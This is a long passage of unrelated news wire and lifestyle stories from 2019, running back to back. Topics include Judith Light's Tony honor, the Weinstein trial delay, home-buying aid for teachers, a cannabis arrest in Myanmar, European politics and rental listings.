decades to win consecutive Tonys. Shes also a two-time Daytime Emmy Award winner for her work in One Life to Live and has been nominated for four Prime Time Emmys for Ugly Betty, Transparent and American Crime Story: The Assassination of Gianni Versace. Since the early days of the AIDS pandemic, Light has reacted to the divisive response towards the LGTBQ+ community by speaking out and aligning herself with numerous organizations, including Broadway Cares/Equity Fights AIDS, GLAAD, NAMES Project AIDS Memorial Quilt, Project Angel Food, and Elton John AIDS Foundation, among many others. Story continues In 1993, Light spoke at the LGBT March in Washington. In 1995, Light rode her bike from San Francisco to Los Angeles in the California AIDS Ride to support HIV/AIDS Programs for the Los Angeles Gay and Lesbian Center. In 1996, she joined Elizabeth Taylor, who served as grand marshal, at the National Mall in Washington DC for the display of the NAMES Project AIDS Memorial Quilt. In 1998, GLAAD recognized Light with the Vision Award for her dedication to fight HIV/AIDS alongside the LGBTQ+ community. Light traveled to South Africa for the AIDS walk to raise awareness for on the ground care in South Africa and research in the United States. Also Read: Why the Hollywood Studio Model Is Outdated in the Current 'Arms Race for Talent' (All Things Video Podcast) Countless times, Light has lent her voice at Outfest, the LGBTQ+-oriented film festival in Los Angeles, and she sits on the honorary board of Point Foundation, which is the National LGBTQ+ Scholarship Fund. She has participated in Broadway Cares/Equity Fights AIDS Gypsy of the Year competition and Broadway Bares. Judith is one of the most beloved members of our theatre community, Charlotte St. Martin, president of The Broadway League and Heather Hitchens, president of the American Theatre Wing, said in a joint statement. Her talent is as big as her heart and spirit and her tireless commitment to HIV/AIDS organizations and to the LGBTQ community are unparalleled. We are honored to salute Judith at this years Tony Awards! Light was also recently seen in the film Save Me, written by her husband Robert Desiderio, in which Light produced and starred, and The Ryan White Story, both of which created conversations about prejudice and bigotry towards HIV/AIDS and LGBTQ+ communities. Also Read: 1091, Formerly The Orchard, Nabs Sundance Comedy 'Before You Know It' in First Acquisition Light will next be seen with Alec Baldwin and Mandy Patinkin in Before You Know It, which premiered at Sundance and was picked up by distributor 1091. Shell also be seen in Ms. White Light, which premiered at SXSW, and Lifetimes Nellie Bly with Christina Ricci. Upcoming, Light also has the film Hot Air with Steve Coogan. The American Theatre Wings 73rd Annual Tony Awards, hosted by James Corden, will air on CBS on Sunday, June 9, 2019 live from Radio City Music Hall in New York City. Nominations for the 2019 awards will be announced live by Bebe Neuwirth and Brandon Victor Dixon on Tuesday, April 30. Read original story Judith Light to Receive Tonys 2019 Isabelle Stevenson Award At TheWrap New York (AFP) - The sexual assault trial of disgraced Hollywood producer Harvey Weinstein will take place on September 9, three months later than expected, a New York judge said Friday. Weinstein -- a catalyst for the #MeToo anti-harassment movement-- has been charged over the alleged assaults of two women and faces life in prison if he is convicted at the trial, which could last for five weeks. One of the 67-year-old's lawyers, Jose Baez, welcomed the postponement, saying: "This is going to give us ample opportunity to dig into the case, talk to those people who are coming forward and telling us about other matters that are very helpful to Mr Weinstein's case." The delay was announced after a four-hour closed-door hearing to decide whether women other than the two accusers could give evidence at the trial. Judge James Burke suggested that his decision on this key point may not be made public until the start of the trial. Since October 2017, Weinstein -- one of the most powerful men in Hollywood before a cascade of sexual misconduct allegations precipitated his downfall -- has been accused of sexual harassment and assault by more than 80 women, including prominent actresses such as Ashley Judd, Angelina Jolie and Salma Hayek. Because the session was closed, it is unclear how many of those women -- many of whose allegations are too old to be brought to trial -- prosecutor Joan Orbon-Illuzzi would like to call on. Their testimony could be key, as it was at the trial of former television star Bill Cosby, who was sentenced to at least three years in prison in the first courtroom victory of the #MeToo era. But Baez said after the hearing that when prosecutors want testimony from women other than the alleged victims in the charges, it is generally "good for the defense." That is because it means the prosecution can't prove their case based on the complainants' testimony alone, he said. A number of local, state and federal programs offer eligible teachers steep discounts on homes and attractive mortgage terms. The Good Neighbor Next Door program, for example, sells homes for 50% off the appraised value. Other programs offer down payment assistance, homeownership grants and mortgage credit certificates. However, programs are not always easy to navigate. Here's what you need to know if you want to pursue one. The Good Neighbor Next Door Mortgage Program The Good Neighbor Next Door program offers Department of Housing and Urban Development-owned single family homes to eligible buyers for 50% off the list price. Not all HUD homes are designated for the Good Neighbor Next Door program and must be located in a revitalization area. You can search for homes on HUD's website. Good Neighbor Next Door eligibility and benefits. Teachers planning to buy a home with this program must be employed full time in a state-accredited public or private school for students in prekindergarten through 12th grade. The school must serve students from the area where the home is located. If you're eligible, you can buy a qualifying home for half of the list price using a Federal Housing Administration, Veterans Affairs or conventional mortgage. If you qualify for an FHA loan, the down payment requirement is just $100. You can also use an FHA 203(k) mortgage to borrow additional funds to rehabilitate the home if it needs more than $5,000 in repairs. The discount is given in the form of a silent second mortgage. You'll need to sign this note, but no interest or payments are due on it so long as you occupy the home as your sole primary residence for a full three years from the date of occupancy. Your date of occupancy will be the 30th, 90th or 180th day after purchase, depending on how much work is needed to make the home livable. You do not have to maintain the same job for the required occupancy period. Changing jobs after the purchase does not affect eligibility, but you still need to complete the required occupancy. Story continues [Read: Best Mortgage Lenders.] After the 36th month of occupancy, you will be released from all obligation to repay the second mortgage. At that time, you are free to remain in the home or sell it and keep any profit. If you fail to complete the required occupancy, you will be responsible to pay back the discount on a prorated basis. You may face administrative sanctions such as being barred from participating in other federal programs. Buying a home through Good Neighbor Next Door. If all of this sounds fantastic, it certainly can be. "It's a great program for people who can use it," says Kentucky real estate broker Laine Bowling. "The financial risk is low. Fifty percent off leaves you a big cushion to do major renovations if needed and still break even if you decide to sell the home." Watch HUD listings to find a home. Compared with the number of homes for sale in general, only a limited number of homes are available through this program. You might find 50 eligible homes available for sale across your entire state on a given day, or you might find just a few -- or none. Connect with an agent or broker. Once you're ready to see if this program might work for you, you'll need to get connected with a real estate professional who can usher you through the process. Only a registered HUD selling broker can make an offer on a Good Neighbor Next Door Home. You can use the broker search tool on HUD's website. Submit a bid. You won't be pulled into a bidding war on these homes. The sale price is nonnegotiable. [Read: Best Mortgage Refinance Lenders.] Manage the process. "Once you're picked," says Bowling, "there is paperwork and a strict timeline." If you fail to comply with requirements, you may lose your chance to buy the home. Depending on the condition of the home you buy, you may need to maintain your current residence for up to six months before you're able to move in. Not all homes are immediately inhabitable. HUD will provide a list of required improvements. "It was stressful," says Cassidy Ruhling, a Good Neighbor Next Door program participant. She had to continue paying rent while managing the loan application and renovation processes, both of which were unfamiliar to her. She spent weeks seeking referrals, interviewing general contractors and comparing bids. Once her loan was finalized, the renovation funds were released to a HUD custodian. As work was completed incrementally, HUD inspected it and then wrote a check to the contractor for that portion of the total expense. Other Teacher Homebuying Programs The Good Neighbor Next Door program is not the only option for teachers seeking homeownership programs. In fact, federal, state and local programs exist nationwide. Teacher Next Door is one resource for identifying and navigating the many programs out there. The program offers grants of up to $6,000 and down payment assistance of up to $10,681 for qualifying teachers. Additionally, the program helps buyers identify government and private programs (including grants and down payment assistance) they might qualify for, secure financing and complete a home purchase. According to Steve Parks, Teacher Next Door national director, there are extensive homebuyer assistance programs all over the country. "The matrix is intense. Every location and program has its own criteria," says Parks. Some state or local programs include: -- Keystone Challenge Fund -- Homes for Texas Heroes -- Mississippi Employer-Assisted Housing Teacher Program [Read: How to Get a Mortgage With No Down Payment. ] Other Homebuyer Assistance Programs Many down payment assistance and grant programs are available to anyone who qualifies, not just teachers. Qualification is often based on income limits, location and purchase price, and other restrictions apply. Some cities and counties offer deferred loan programs to help with the down payment and/or closing costs -- for example, the Homebuyer Downpayment & Closing Cost Assistance program in San Diego County or the Low Income Purchase Assistance Program in Los Angeles. Typically, these loans are available to buyers whose income is below a threshold. The loan limit is usually a percentage of the purchase price, up to a dollar amount cap. Usually, payments are deferred until the home is refinanced or sold, the first mortgage is paid off, or the borrower no longer occupies the home as a primary residence. In some programs, the down payment assistance is a nonrepayable grant or forgivable loan. The grant or forgivable loan can become repayable under certain circumstances, such as if you fail to complete an occupancy requirement, you sell or refinance the home, or you open a line of credit against the home. To find programs you may qualify for, search for down payment grants locally or ask a licensed real estate agent. You can also use HUD's local programs page or the National Council of State Housing Agencies to find programs in your state. "These programs are out there," says Bowling. "They're wonderful when they work out." YANGON, Myanmar (AP) The arrest of an American man in Myanmar for growing 20 acres of cannabis plants is unjust because authorities were aware that his company was doing scientific research and police were confusing hemp with recreational marijuana, his lawyer said Friday. Attorney Thein Than Oo said that John Fredric Todoroki and the III M Global Nutraceutical Co. had received official permission for their activity, which he described as research. "This company rented the land and is running its laboratory officially," he said. "Their intention is to do research, not to sell or distribute. If their research goes well, they will work with the government." Myanmar's anti-drug agency says Todoroki and two Myanmar citizens were arrested after police on Monday raided the plantation on an industrial estate in the country's central Mandalay region. Police found what they said were about 349,300 marijuana plants, 5,200 seedlings, 380 kilograms (838 pounds) of marijuana seeds, 1,804 grams (64 ounces) of marijuana oil, and chemicals and equipment for processing the plants into CBD, or cannabidiol, a non-intoxicating compound that many believe has health benefits. Police said they were also seeking to arrest Alexander Skemp Todoroki. It's unclear where the Todorokis, believed to be father and son, last lived in the U.S. Hemp can be grown legally in many countries, and it is often used for making CBD products. Marijuana is another form of cannabis and a source of CBD. But it has psychoactive effects, causing a high. Myanmar law does not distinguish between the two, and the suspects face criminal charges that could land them in prison for five to 10 years or more, depending on what charges are formally filed against them. Neighboring Thailand in December legalized the regulated production and sale of cannabis products for medical purposes, responding in part to a growing informal market for such items. In the country's recent election, a major party advocated liberalizing marijuana laws more to benefit farmers. Story continues Malaysia has considered similar legislation. Thein Than Oo, who is general secretary of the Independent Lawyers Association of Myanmar, said Todoroki's arrest could impact foreign investment, so the authorities should act with care. Myanmar was under socialist military rule from the 1960s through the 1980s, when it eschewed foreign investment despite being one of the region's poorest countries. It is still struggling to make the transition to a full free-market economy. An advocate of legalizing marijuana in Myanmar said he also feared the arrest would affect foreign investment. "This is unfair," said Aung Say Soe of Marijuana Legalization Movement Myanmar. "This American has already asked for permission from the government. It is like slapping down investment." Aung Say Soe also said it was obvious that the plantation was growing hemp, and that the difference from the type of marijuana used for getting high was easy to distinguish. The authorities "can check with botanists," he said. --- Associated Press writer Grant Peck in Bangkok contributed to this story. Tuxtla Gutierrez (Mexico) (AFP) - Central American migrants at a detention center in southern Mexico protested against their captivity on Friday, a day after an escape involving around 1,300 mostly Cuban inmates. Dozens of migrants shouted on Friday morning: "We want to go," and "we're hungry" at the facility in Tapachula, in the southern state of Chiapas. At dinner time on Thursday, some 1,300 migrants escaped after threatening to set fire to the detention center to protest against overcrowding, witnesses said. "There was a large-scale unauthorized exit of people housed in the migratory station," the National Institute of Migration (INM) said in a statement. It said 700 returned soon after leaving, but Mexico President Andres Manuel Lopez Obrador confirmed on Friday morning that around 500 others were unaccounted for. They had knocked down railings at the center in order to escape, but those had been repaired on Friday, AFP journalists at the scene saw. Since October, tens thousands of Central Americans and Cubans have traversed Mexico in caravans in the hope of reaching the United States. The migrants say they are fleeing poverty and gang violence. The Tapachula center was built to accommodate 900 people, but residents say it sometimes holds as many as 3,000. "We have many there... we are very tight, we sleep on the floor," said one Cuban detainee. It is the third time since October that migrants at Tapachula have rioted against conditions. "The migrants say that they (authorities) don't give them food," fruit vendor Carlos Alcantara, who works nearby, told AFP. US President Donald Trump says the migrants are a threat to US national security and has demanded that Mexico detain them and send them home. Lopez Obrador announced a plan last week to restrict migrants to Mexico's south -- keeping them away from the US border -- but denied it was a means to placate Washington. London (AFP) - Iconic props from "The Shining" and "2001: A Space Odyssey" that detail the single-minded perfectionism of US filmmaker Stanley Kubrick are among the highlights of a new London show dedicated to the late artist. Visitors can discover Kubrick's universe and special relationship with Britain through some 700 objects, film clips and interviews, which are arranged according to the 13 films he made over a 50-year career. The show coincides with the 20th anniversary of Kubrick's death, and is somewhat of a homecoming for the director, who moved to Britain in the early 1960s, shooting classics "Lolita" (1962), 2001: "The Space Odyssey" (1968), "Dr. Strangelove" (1964) and "Full Metal Jacket" (1987). The exhibition's most famous items include Jack Nicholson's axe from The Shining, the disturbing costumes from "A Clockwork Orange" (1971), the "Born to Kill" helmet worn by character "Joker" in Full Metal Jacket and Tom Cruise's Venetian cape and mask from "Eyes Wide Shut" (1999). Other exhibits detail his obsessive attention to detail, including a photograph of the snow-covered hotel in Oregon that would eventually be used for the outside shots of The Shining. Labels stuck on the image include instructions for how the path should appear in the shot, adding "THERE IS NO OTHER WAY TO DO IT, REPEAT NO OTHER WAY." The 2001: Space Odyssey section includes a model of the 12 metre "hamster wheel" used by astronauts in the film to simulate gravity. The story of the filming of Vietnam war epic Full Metal Jacket forms another part of the show, which will run at London's Design Museum from Friday until September 15. Items detail how Kubrick recreated Vietnamese city Hue in a deserted gas plant in Beckton, south east London, through dynamiting and importing 200 palm trees from Spain and 100,000 tropical plastic plants from Hong Kong. Story continues Others reveal the complicated, and often fractious relationship between Kubrick and his audience and the critics, starting with 1962 classic "Lolita", which details a middle-aged man's obsession with a 12-year-old girl. "We believe that any such film must have a deleterious effect upon our society (...) and therefore ought not be made," Reverend John Collins wrote in a 1961 letter to Kubrick. The legendary director died on March 7, 1999 in his mansion in Childwickbury, north of London. In addition to the exhibition, a hunt through the archives of A Clockwork Orange author Anthony Burgess have unearthed a never-before-seen unfinished "sequel" to the 1962 dystopian novel, it emerged Friday. The manuscript was written by the British author, who died in 1993, in response to the moral panic surrounding Kubrick's ultra-violent 1971 adaptation of the novel, which was blamed for copycat crimes. "The Clockwork Condition" describes 1970s society in terms of humans being reduced to cogs in a machine, "no longer much like a natural growth, not humanly organic." Atlanta is the newest outpost of respected action house Leslie Hindman Auctioneers, which has opened a gallery in the Miami Circle Design District in Buckhead. The brands debut Atlanta auction, featuring the estate of noted Atlanta resident and philanthropist Margaret Sheffield Martin, contains 320 lots. It marks the first of several planned auctions in the coming months. The regional gallery is led by southeast vice president Kate Waterhouse, who has served as an Antiques Roadshow expert and in leadership positions at Heritage Auctions New York City and Sothebys Palm Beach. The Atlanta area has long been a hotbed of incredible collectors, and collections with very classic style and strong design sense from the influence of the interior designers, she tells AD PRO. Interior designers can expect interesting finds and treasures for their clients that have age, and likely, a storied history to match the object. We truly enjoy teaching others about the process and being of assistance to new collectors. The Atlanta office services everything north of Florida, with added focus on Tennessee, Alabama, and the Carolinas. Property from the estate of Margaret Sheffield Martin, a noted Atlantan, forms the nucleus of the first auction on May 3. "Mrs. Martin held leadership roles in a number of Atlanta philanthropic and civic groups, and was widely known for her refined taste and preference for classical traditional design. She focused her collecting sense on English and American furniture and decorative arts as well as Chinese Export porcelain from the late 18th century, says Hindman senior consultant Jon King. In addition, other pieces from various owners include a Chippendale mahogany chest of drawers (circa 1770, estimate $5,000$8,000) and a painting by Emilio Grau Sala (Spanish, 19111975) entitled Seated Women (estimate $4,000$6,000). We are looking forward to building on the foundation this auction will create within the Atlanta cultural community. The goal of the Hindman Atlanta office is to become a visible resource to Atlantans, serving not only as a portal to the vital national and international auction market but also as a source for art and antique education, says King. The first offering is on display now until May 2. The auction, featuring 320 lots, will take place on Friday, May 3, at 10 A.M., at the Hindman galleries located at 668 Miami Circle NE. New mother Stacy Lewis fought off some sleep-deprivation to shoot a 6-under 65 on Thursday and share the first-round lead with Australia's Hannah Green at the HUGEL-AIR PREMIA LA Open. Lewis, who gave birth to her first child in October, shot her lowest round since returning to the Tour this year. She carded six birdies during a bogey-free round. "I hit it well and putted good, and that's just kind of the combination that's been missing," Lewis said. "I put it together and finally did it on the same day. All in all, a pretty 'easy' 65." Green was equally as impressive during her bogey-free round, posting a trio of birdies on both nines. They are one shot ahead of Australia's Minjee Lee, who also got around the Wilshire Country Club without a single blemish on her scorecard. Another shot off the pace is Ann-Catherine Tanguay at 4 under, followed by a pack of nine players at 3 under that includes fellow Canadian Brooke Henderson coming off her victory last week and former No. 1-ranked players Shanshan Feng of China and South Korea's Inbee Park. Current No. 1 Jin Young Ko is tied for 19th at 1 under along with fellow South Korean So Yeon Ryu, another former top-ranked player in contention. Defending champion Moriya Jutanugarn of Thailand is another shot back at even par. Lewis said she was ready to capitalize on her consistent play from Thursday, but acknowledged that playing in the afternoon wave on Friday hopefully will allow her to catch up on some needed sleep. "I'm looking forward to getting a little rest," she said. "We've had a long couple of nights with the baby, so I'm looking forward to having some time off this afternoon." --Field Level Media Belfast (AFP) - London and Dublin were set to announce a fresh attempt to revive Northern Ireland's power-sharing devolved administration, reports said Friday, following the killing of a journalist by nationalist paramilitaries. Northern Ireland, part of the United Kingdom, has been without its semi-autonomous government since January 2017 following a breakdown in trust between the main parties. In a rare joint statement, politicians from Northern Ireland's six biggest parties united to condemn the killing of 29-year-old Lyra McKee, shot dead on April 18 while reporting on riots in the second city of Londonderry. Her death has triggered a renewed attempt to mend the fences between the main parties representing the British unionist and Irish nationalist communities. The New IRA (Irish Republican Army) paramilitary splinter group, which violently opposes the peace process in Northern Ireland, admitted responsibility for McKee's killing, saying she was unintentionally shot as they attacked "enemy" police officers. At her funeral on Wednesday, Father Martin Magill commended Northern Ireland's political leaders for joining together at her funeral, but asked, to a standing ovation: "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point?'" It is expected that the talks could take place following the May 2 local elections in Northern Ireland. Britain's Northern Ireland Secretary Karen Bradley and Ireland's Foreign Affairs Minister Simon Coveney are expected to hold a press conference later on Friday in Belfast. - Talks impasse - The two largest parties, the pro-British Democratic Unionists (DUP) and Irish republican Sinn Fein, are at loggerheads over several issues. As the largest parties from each side, the two are supposed to govern together under a power-sharing accord reached in 1998 to end three decades of violent conflict. Story continues Sinn Fein brought down the semi-autonomous executive in January 2017, citing a breakdown in trust. Both blame the other for the paralysis and several exhaustive rounds of talks have floundered, with deadlines coming and going. In the absence of an executive, the province has been run by civil servants. DUP leader Arlene Foster has suggested a twin-track approach whereby the devolved institutions are restored quickly to deal with issues like schools and the health service, while a separate process addresses the sticking points that the parties cannot agree on. Michelle O'Neill, Sinn Fein's leader in Northern Ireland, has rejected the plan, saying its demands including allowing same-sex marriage and official recognition of the Irish language had to be delivered. Dean Boy Phoenix was previously jailed for murdering his wife (DORSET POLICE) A man who struck and killed a 3-year-old boy at a pedestrian crossing was previously convicted for murdering his spouse. Dean Boyd Phoenix, 44, killed 26-year-old Naomi Phoenix in January 2003 and was handed a life sentence at Kingston-upon-Thames Crown Court on July 30, 2004. On Friday, Phoenix was jailed for 12 months after pleading guilty to careless driving and killing toddler Jaiden Mangan in March 2018 at a pedestrian crossing in Wareham. He was also disqualified from driving for 18 months, with the ban due to commence upon his release from prison. On Thursday, Phoenix was cleared of death caused by dangerous driving - a charge he denied - by a jury at Bournemouth Crown Court. But it emerged that Phoenix had already served a previous conviction for murder. Read more on Yahoo News UK 'Lion of London Bridge' set to be released from jail after serving time for breaching court order Police release new footage of teenager suspected of murdering Lyra McKee Ram-raid thieves smash into jewellers Tiffany & Co then flee with haul from window display At 8.40am on Thursday 29 March 2018 a white Scania lorry being driven by Phoenix was approaching a pedestrian crossing in North Street when he was forced to stop due to congestion in the road. The traffic lights at the crossing were green for vehicles when Phoenix stopped, with his lorry partially covering the crossing area. Three-year old Jaiden Mangan was on his balance bike in the company of his mother and sister as they waited at the crossing. The lights changed, turning to red for vehicles and a green man illuminating to indicate pedestrians could cross. Jaidens mother and sister crossed safely to the other side before Jaiden crossed behind them on his bike. As he did so the lorry began to move forward and hit the toddler. Emergency services attended the scene before the boy was taken to Dorset County Hospital, where he was pronounced dead at 10.05am. During sentencing, Judge Fuller said: You have one conviction but it has no relevance to the matter and no bearing on the sentencing considerations I have to take into account. Story continues Defence lawyer Paul Rogers said: Nothing I can say or he can do can change what happened. My words and his remorse will be hollow substitute for the life lost and hopes and aspirations of Jaiden's family. "Like everyone present on that dreadful day he was and remains shocked and terribly remorseful for what his inattention led to. Phoenix, 44, received a 12 month prison sentence after pleading guilty to careless driving (GOOGLE) Dorset Traffic Police Inspector Joe Pardey said of the case: This tragic incident resulted in the very sad death of a much loved little boy that has understandably left his family devastated and nothing will ever compensate them for their loss. It was clear that Phoenix was frustrated with the position he found himself in, but this case demonstrates how motorists still need to show patience in these situations and the serious implications that can arise if we let that frustration get the better of us. Drivers need to take time and ensure their actions are safe no matter what situation they are faced with. If Phoenix had taken the time to make the proper checks Jaidens death would have been avoided. It shows the truly awful consequences that can result in motorists not driving with appropriate care and failing to comply with road markings and is another demonstration of the need to drive carefully and considerately at all times. Finally, I would like to thank all the members of the public and the emergency services for their efforts in trying to save Jaidens life on that tragic day. ---Watch the latest videos from Yahoo UK--- The unfinished manuscript was reportedly found among the writer's archives by his biographer and director of the Burgess Foundation, Professor Andrew Biswell. Titled "The Clockwork Condition," the nonfiction work comprises around 200 typewritten pages and features several handwritten notes. It had been left for decades in the author's house in the Italian town of Bracciano. When Burgess died in 1993, it was moved to the Burgess Foundation in Manchester, along with other works and possessions. The manuscript explores the controversy that followed the release of Stanley Kubrick's 1971 film adaptation of "A Clockwork Orange." The film was accused of inspiring violent copycat crimes, prompting the director to withdraw it from circulation. It was only at Kubrick's death in 1999 that it was made available for home viewing. Burgess' 1962 novel is set in a dystopian Britain, where teenager Alex and his gang of delinquents engage in random acts of extreme violence. "The Clockwork Condition" further develops the themes explored in the original book, including the dangers of technology. "Part philosophical reflection and part autobiography, 'The Clockwork Condition' provides a context for Burgess's most famous work, and amplifies his views on crime, punishment and the possible corrupting effects of visual culture. It also casts fresh light on Burgess's complicated relationship with his own 'Clockwork Orange' novel, a work that he went on revisiting until the end of his life," said Biswell in a statement. Biswell told the Guardian that it would be possible "in theory" to create a publishable version of the sequel. "There is enough material present in the drafts and outlines to give a reasonably clear impression of what this lost Burgess book might have been," he explained, adding that he had already been contacted by several publishers. Mark Goodram (left) and Jon-Ross Watson are reportedly on a bender celebrating their lottery win, though Camelot hasn't yet paid out (Pictures: Facebook) Lottery bosses are reportedly investigating a 4 million scratchcard won by two convicted crooks. Mark Goodram, 36, and Jon-Ross Watson, 31, appeared to have embarked on a four-day celebration to celebrate the multi-million pound win. But according to The Sun, lottery company Camelot is refusing to pay out the jackpot amid concerns the ticket was bought with a stolen debit card. The newspaper reported that the winning scratchcard was bought with a debit card but when Goodram and Watson contacted Camelot neither of them had a bank account - prompting questions over how they had the debit card. The pair said they had given a friend 10 to buy the scratchcard on his debit card (Picture: Getty) The pair had reportedly contacted The Sun to share their joy at the win, showing the paper the winning scratchcard as well as a pink receipt confirming the jackpot. Goodram who has 22 convictions for 45 criminal offences told the newspaper: I cant wait to spend the lot. Im going to buy luxury properties and look after myself. READ MORE Family releases picture of hit-and-run victim to make driver do the right thing Watson, who also apparently has burglary convictions, added: Im off on a Caribbean cruise, then to Las Vegas. But I need a passport first. According to the report, the pair first claimed they had used their last loose change to buy the ticket, but later said they had given a friend 10 to buy the scratchcard on his debit card, but did not reveal his name. ---Watch the latest videos from Yahoo UK--- Photos: 1819 N. Cambridge Ave./Zumper Lower East Side is a "walker's paradise," is easy to get around on a bicycle and offers many nearby public transportation options, according to Walk Score's rating system. So what does the low-end rent on a rental in Lower East Side look like these days and what might you get for the price? We took a look at local listings for studios and one-bedroom apartments in Lower East Side via rental site Zumper to find out what price-conscious apartment seekers can expect to find in this Milwaukee neighborhood. Read on for the cheapest listings available right now. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 1869 N. Cambridge Ave. Listed at $585/month, this 325-square-foot studio , located at 1869 N. Cambridge Ave., is 16.6 percent less than the $701/month median rent for a studio in Lower East Side. The building offers an elevator and on-site laundry. In the unit, the listing promises central heating, carpeted floors and a walk-in closet. Cats and dogs are welcome with a monthly fee. The rental doesn't require a leasing fee. (See the complete listing here.) 1579 N. Farwell Ave. This studio, situated at 1579 N. Farwell Ave., is listed for $600/month. In the unit, expect central heating and hardwood flooring. Attention, cat owners: your kitty is allowed here. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 1819 N. Cambridge Ave. This studio, situated at 1819 N. Cambridge Ave., is listed for $625/month. In the unit, expect central heating and a ceiling fan. Cats are allowed. The rental doesn't require a leasing fee (See the listing here.) 1653 N. Prospect Ave. And here's a studio at 1653 N. Prospect Ave., which is going for $675/month. When it comes to building amenities, expect on-site laundry. In the unit, expect to find central heating and carpeted floors. Pet owners, inquire elsewhere: this spot doesn't allow cats or dogs. (Check out the listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. 1725 26th St. | Photos: Zumper Housing costs got you down? Though apartment hunting can be frustrating, there are deals to be had. So what does the low-end pricing on a rental in Midtown / Winn Park / Capital Avenue look like these days and what might you get for the price? Per Walk Score ratings, the neighborhood is very walkable, is a "biker's paradise" and offers many nearby public transportation options. It also features median rents for a one bedroom that hover around $1,272, compared to a $1,220 one-bedroom median for Sacramento as a whole. A look at local listings for studios and one-bedroom apartments in Midtown / Winn Park / Capital Avenue, via rental site Zumper, yields a look at what price-conscious apartment seekers can expect to find in this Sacramento neighborhood. Read on for the cheapest listings available right now. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 1305 24th St. Listed at $850/month, this studio, located at 1305 24th St., is 37.0 percent less than the $1,350/month median rent for a studio in Midtown / Winn Park / Capital Avenue. Building amenities include on-site laundry, on-site management and secured entry; in the unit, look for hardwood flooring. Neither cats nor dogs are allowed. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 2509 O St. Then there's this apartment with one bedroom and one bathroom at 2509 O St., listed at $1,185/month. In the unit, you'll get carpeted floors. Building amenities include on-site laundry, storage space and on-site management. The rental doesn't require a leasing fee, but there is a $40.00 application fee. (See the listing here.) 1725 26th St. Check out this 850-square-foot one-bedroom, one-bathroom at 1725 26th St., listed at $1,195/month. Building amenities include on-site laundry, on-site management and outdoor space. In the unit, anticipate central heating and hardwood flooring. Cats and dogs are not welcome. The rental doesn't require a leasing fee. Story continues (Here's the listing.) 2430 O St. This one-bedroom, one-bathroom apartment, situated at 2430 O St., is listed for $1,250/month for its 700 square feet of space. In the unit, expect hardwood flooring and central heating and air conditioning. Hairball alert: cats are allowed. When it comes to building amenities, expect outdoor space and on-site laundry. The rental doesn't require a leasing fee (See the listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Paris (AFP) - The relationship between French President Emmanuel Macron and German Chancellor Angela Merkel, long seen as Europe's defining political alliance, is undergoing a period of unprecedented strain as reality clashes with expectation. At a news conference on Thursday night, Macron unexpectedly laid bare the extent of his disappointment with Berlin by bluntly reeling off a string of areas where he disagrees with Merkel. And analysts say that with European elections looming at the end of next month -- and the conservative Merkel and centrist Macron each having different political priorities -- the strains risk intensifying further. "Emmanuel Macron is no longer hiding his impatience towards Germany," said Claire Demesmay, head of the Franco-German relations programme at the German Council on Foreign Relations. "We have clearly moved into an electoral cycle and one of political competition. The two leaders follow two antagonistic logics. And they need to show this to public opinion," she told AFP. During his address, Macron listed some of the issues causing tension with Merkel: Brexit -- While Merkel favoured granting London a long extension for Britain's departure from the EU, Macron argued for a short one, but in a classic EU compromise, the date was set as October 31. Trade -- Macron referred to what he described as the "incoherent" decision backed by Berlin to begin EU trade talks with the United States. Climate -- France was particularly piqued that Germany wanted trade talks with the United States without Washington being a party to the Paris climate accord to cap global emissions, which Trump dumped in 2017. Economic policy -- Macron said Germany was "at the end" of a growth model that had seen it profit from "imbalances" within Europe and in low-wage countries "which is contrary to my social project". Stressing that the national interest can sometimes trump European interests, he said a culture of compromise should not stop France from "affirming a French position when there is one". Story continues "There is a sense of disappointment vis-a-vis Germany," said a French diplomatic source, asking not to be named. - 'German taboos' - The relationship between France -- militarily defeated by the Third Reich in the early phase of World War II -- and postwar Germany has defined modern European history. German chancellors and French presidents have for the last decades formed a succession of power couples that analysts have defined as the Franco-German motor of Europe. These have included the historically-symbolic relationship between postwar leaders Charles de Gaulle and Konrad Adenauer, followed by Georges Pompidou and Willy Brandt. Then came the extraordinarily tight tandem between Francois Mitterrand and Helmut Kohl, which oversaw the fall of communism in a relationship symbolised by an image of them holding hands at a World War I battlefield. Most recently, the relationship between Merkel and Nicolas Sarkozy became so politically intimate they were dubbed "Merkozy" by the press. Macron, who has always presented himself as a statesman of international stature, has never made a secret that his vision of liberal reforms for France should be spread across Europe. But despite the signing in January 2019 of a new Franco-German Treaty on cooperation and integration, Macron was possibly asking too much to expect Berlin's unconditional support. Macron had been thwarted by "the taboos of German political culture" on issues of financial solidarity in Europe, said Remi Bourgeot, a specialist on Germany at the Institute of International and Strategic Relations in Paris. "This is all in contradiction with the German position" and its "model of cost-cutting", he said. - 'Normal and necessary' - But on Thursday, Macron also said disagreements were healthy in any relationship, adding that Franco-German dialogue required "sometimes accepting fruitful confrontations but always with the desire to ultimately find a compromise." In Berlin, deputy government spokeswoman Ulrike Demmer played down the idea of a major squabble, saying there were "occasional differences of opinion" but these were "normal and necessary". With Merkel now in power for 13 years, there is also certain to be a change at the top in Berlin after her vow to step down in the 2021 polls. Macron will also face re-election in 2022. Even on the day of Macron's address, Berlin and Paris again showed their ability to form a foreign policy tandem by condemning Moscow in a joint statement for easing Russian citizenship rules in separatist-held areas of east Ukraine. * Macron wants to scrap ENA civil service college * School was criticized for lacking social diversity * Alumni say move won't fix unequal French school system By Michel Rose and Mathieu Rosemain PARIS, April 26 (Reuters) - French President Emmanuel Macron's decision to scrap the Ecole Nationale d'Administration, training ground for the country's ruling elite, was criticized by school alumni on Friday, while others saw an opportunity to fix a despised symbol of inequality. ENA, founded in 1945 by former leader Charles de Gaulle to train postwar administrators drawn from across all social classes, has been criticized in recent decades for failing to recruit more students from poorer backgrounds. The idea of the country being run by entitled elite is especially irritating to some French people, who pride themselves on having thrown out the monarchy in the 18th century French Revolution to usher in a system of "Liberty, Equality and Fraternity." Shaken by the five-month old "yellow vest" protest movement, which has criticized the French leadership for being out of touch with ordinary people, Macron announced on Thursday he would get rid 